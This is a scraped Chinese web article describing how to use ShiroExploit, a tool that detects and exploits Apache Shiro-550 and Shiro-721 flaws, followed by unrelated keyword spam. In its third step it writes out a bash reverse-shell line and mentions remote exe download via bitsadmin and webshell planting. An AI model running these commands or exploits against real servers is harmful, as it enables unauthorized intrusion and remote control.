Shiro漏洞检测工具ShiroExploit怎么使用
发表于:2025-12-04 作者:千家信息网编辑
千家信息网最后更新 2025年12月04日,本篇内容主要讲解"Shiro漏洞检测工具ShiroExploit怎么使用",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"Shiro漏洞检测工具ShiroEx
千家信息网最后更新 2025年12月04日Shiro漏洞检测工具ShiroExploit怎么使用

选择
选择
选择
选择
在使用漏洞检测主程序或者开启 HttpService/JRMPListener 时,均需要ysoserial.jar的支持,将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。
本篇内容主要讲解"Shiro漏洞检测工具ShiroExploit怎么使用",感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习"Shiro漏洞检测工具ShiroExploit怎么使用"吧!
ShiroExploit
支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测,支持简单回显。
使用说明
第一步:按要求输入要检测的目标URL和选择漏洞类型
Shiro550无需提供rememberMe Cookie,Shiro721需要提供一个有效的rememberMe CookieShiro550无需选择操作系统类型,Shiro721需要选择操作系统类型可以手工指定特定的 Key 和 Gadget,默认不指定,会遍历所有的 Key 和 Gadget 复杂Http请求支持直接粘贴数据包

第二步: 选择攻击方式

选择使用 ceye.io 进行漏洞检测
可以不进行任何配置,配置文件中已经预置了 CEYE 域名和对应的 Token,当然也可以对其进行修改。 程序会首先使用 URLDNS筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload缺点:程序会使用 API: http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查询检测结果,这个 API 有时候会无法正常访问,导致在这种方式下无法找到 Key 或者有效的 Gadget
选择 使用 dnslog.cn 进行漏洞检测
可以不进行任何配置,每次启动时程序会自动从 dnslog.cn申请一个 DNS Record。程序会首先使用 URLDNS筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload缺点:少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget,且 dnslog.cn 只会记录最近的10条 DNS 解析记录
选择 使用 JRMP + dnslog 进行漏洞检测
需要在 VPS 上通过命令 java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]开启HttpService/JRMPListener,并按照要求填入相应 IP 和端口如果开启 HttpService/JRMPListener 时未指定端口号,则 HTTPService默认监听8080端口,JRMPListener默认监听8088端口使用 JRMP的方式进行漏洞检测,可以显著减小 cookie 大小程序会首先使用 URLDNS筛选出唯一 Key,然后使用JRMP依次为各个 Gadget 生成对应的 JRMPListener
选择 使用回显进行漏洞检测
针对不出网的情况进行漏洞检测,此时可以检测的 Gadget 类型会少于使用 DNSLog 方式的 Gadget类型 目前主要是通过将命令执行结果写入 Web 目录下然后读取的方式实现回显 需要提供一个静态资源 URL,程序会将此静态资源所在的目录当做写入目录 注:开始的时候使用 https://blog.csdn.net/fnmsd/article/details/106709736介绍的方式实现回显,在本地可以测试成功,但是在实际环境中基本不成功(可能是我的姿势有问题,欢迎探讨),所以目前是通过读写文件的方式实现回显,后期可能会加入其它方式
第三步:检测漏洞并执行命令
程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。 反弹shell(linux)采用bash -i >& /dev/tcp/1.2.3.4/443 0>&1的方式反弹 shell反弹shell(Windows)采用bitsadmin下载指定 URL 的 exe 文件并执行的方式获取 shell
获取Webshell可以在能够回显的情况下直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取
备注
到此,相信大家对"Shiro漏洞检测工具ShiroExploit怎么使用"有了更深的了解,不妨来实际操作一番吧!这里是网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!
检测
漏洞
方式
程序
选择
目录
类型
输入
命令
支持
工具
有效
内容
文件
目标
端口
结果
选出
生成
配置
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
dhcp服务器租期到期掉线
广州警示教育展馆软件开发
达梦数据库维保
为什么光翼服务器一直在登录队列
排单互助软件开发
甲骨文范例数据库下载
编程教育和软件开发
印刷包装软件开发
网络安全课观看活动小结
实名认证登录不上服务器未响应
海康pms 等待连接数据库
服务器治理用什么不同
热血三国数据库结构
数据库技术与应用实践心得
特锐德软件开发
软件开发测试计划任务书
国外服务器优惠码
电子签名服务器领签
服务器ftp地址
新疆首届网络安全知识竞赛
数据库信息采集规范
网络安全的基金排行
铁通生产安全服务器连接失败
可以通过网址查到服务器吗
山西服务器电源一般多少钱
如何写一个数据库
中兴软件开发工程师面试
安装数据库2005
修改数据库表结构安全操作
预应力软件开发